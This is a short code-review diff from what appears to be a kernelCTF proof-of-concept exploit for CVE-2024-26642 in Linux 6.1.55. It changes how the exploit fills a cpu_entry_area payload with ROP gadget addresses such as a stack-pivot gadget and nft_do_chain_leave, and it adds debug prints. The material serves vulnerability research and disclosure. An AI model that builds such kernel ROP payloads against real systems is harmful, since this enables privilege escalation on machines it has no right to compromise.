Solve comments

Author: conlonial

pocs/linux/kernelctf/CVE-2024-26642_mitigation/exploit/mitigation-v3-6.1.55/exploit

@@ -309,9 +309,15 @@ static void setup_cpu_entry_area(int64_t kernel_off) {
   }
 
   struct cpu_entry_area_payload payload = {};
-  payload.nft_expr_eval = kernel_off + POP_RSP_JMP_RSI_0XF;
-  payload.pop_rsp_jmp_rsi_0xf = kernel_off + POP_RSP_JMP_RSI_0XF;
-  payload.nft_do_chain_leave = kernel_off + NFT_DO_CHAIN_LEAVE;
+  printf("%llx\n", push_rdi_jmp_rsi_0xf);
+  printf("%llx\n", kernel_off + POP_RSP_JMP_RSI_0XF);
+  printf("%llx\n", pop_rsp_jmp_rsi_0xf);
+  printf("%llx\n", kernel_off + POP_RSP_JMP_RSI_0XF);
+  printf("%llx\n", nft_do_chain_leave);
+  printf("%llx\n", kernel_off + NFT_DO_CHAIN_LEAVE);
+  payload.nft_expr_eval = push_rdi_jmp_rsi_0xf;//kernel_off + POP_RSP_JMP_RSI_0XF;
+  payload.pop_rsp_jmp_rsi_0xf = pop_rsp_jmp_rsi_0xf;//kernel_off + POP_RSP_JMP_RSI_0XF;
+  payload.nft_do_chain_leave = nft_do_chain_leave;//kernel_off + NFT_DO_CHAIN_LEAVE;
 
   PANIC_IF(_pin_to_cpu(HELPER_CPU) < 0);
   PANIC_IF(signal(SIGFPE, sig_handler) == SIG_ERR);